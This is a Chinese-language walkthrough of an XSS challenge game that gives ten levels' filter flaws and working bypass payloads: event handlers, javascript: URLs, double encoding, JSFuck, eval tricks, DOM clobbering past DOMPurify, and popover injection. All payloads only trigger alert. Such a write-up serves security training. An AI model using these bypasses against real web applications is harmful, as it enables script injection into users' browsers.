XSS Game通关教程
字数 2266 2025-08-11 17:40:12
XSS Game通关教程详解
1. Ma Spaghet!
漏洞描述:通过GET参数somebody直接传输未过滤的用户输入
利用方法:
- 输入测试值观察位置:
?somebody=123 - 构造XSS payload:
<input onmouseover=alert(1)> - 当鼠标移动到输入框时触发弹窗
关键点:
- 直接GET参数注入
- 使用
onmouseover事件触发 - 无需闭合其他标签
2. Jefff
漏洞描述:用户输入jeff被直接放入eval()函数执行
利用方法:
- 闭合前面的语句并添加alert:
?jeff="-alert(1337)-"?jeff=";alert(1337);"
关键点:
- 利用JavaScript语句终止
- 两种闭合方式都可行
- 直接执行任意JS代码
3. Ugandan Knuckles
漏洞描述:过滤了尖括号,但输入被放入input标签的value属性
利用方法:
- 闭合引号并使用事件触发:
?wey="<a autofocus onfocus=alert(23) href=#>x</a>"<xss tabindex=1 onfocus=alert(1) autofocus><xss onfocus=alert(23) autofocus contenteditable>
关键点:
- 闭合前后引号
- 使用
onfocus+autofocus自动触发 - 或使用
tabindex使元素可聚焦
4. Ricardo Milos
漏洞描述:用户输入ricardo成为表单提交的URL地址,无过滤
利用方法:
- 使用
javascript:伪协议:?ricardo=javascript:alert(1337)
关键点:
- URL地址直接执行JS
- 无需HTML标签
- 最简单的XSS形式之一
5. Ah That's Hawt
漏洞描述:过滤了括号、反引号、斜杠等字符
绕过方法:
- 使用HTML实体编码:
- 原语句:
<svg onload="alert(1337)"> - 实体编码:
<svg onload="alert(1337)">
- 原语句:
- 再进行URL编码:
%3Csvg%20onload%3D%22%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x33%3B%26%23x33%3B%26%23x37%3B%26%23x29%3B%22%3E
关键点:
- 双重编码绕过
- 逐字符实体编码
svg标签的onload事件
6. Ligma
漏洞描述:过滤了字母和数字,输入被eval()执行
绕过方法:
- 使用JSFuck编码:
- 将
alert(1337)转换为仅用[、]、!等6种字符的表达式
- 将
- 完整payload非常长(见原文)
关键点:
- JSFuck编码原理
- 仅使用少量字符构造任意JS
- 编码后的长度问题
7. Mafia
限制条件:
- 截取长度50的字符串
'"+-!\[]被替换为_alert被替换为_
绕过方法:
- 匿名函数:
?mafia=Function(/ALERT(1337)/.source.toLowerCase())()
- 数字转字符串:
?mafia=eval(8680439..toString(30))(1337)
- location.hash:
?mafia=eval(location.hash.slice(1))#alert(1337)
关键点:
- 大小写混合绕过
- 数字进制转换
- 利用location.hash
8. Ok, Boomer
漏洞描述:使用DOMPurify过滤,但通过DOM Clobbering可绕过
利用方法:
- 创建id为
ok的元素:<a id=ok href=mailto:alert(1337)><a id=ok href=tel:alert(1337)>
关键点:
- DOM Clobbering技术
- 利用合法协议(mailto/tel)
a标签的href属性
9. Area 51
漏洞描述:输入被包裹在HTML注释中
绕过方法:
- 使用PHP标签打破注释:
?debug=<?php><svg onload=alert(1337)>?debug=<?>
关键点:
- HTML注释嵌套问题
- PHP标签的特殊处理
- 浏览器解析差异
10. Keanu
漏洞描述:通过Bootstrap popover注入
利用方法:
- 控制popover位置和内容:
?number='&name=<button data-toggle=popover data-container=number id=keanu data-content="'-alert(1337)//">
关键点:
- Bootstrap popover特性
- data-container指定位置
- 闭合字符串技巧
通用防御建议
- 输入过滤与输出编码
- 使用CSP策略
- 避免
eval()等危险函数 - 使用最新安全库(如DOMPurify)
- 对特殊字符严格处理
以上为各关卡详细解法及技术要点,涵盖了从基础到高级的XSS绕过技术。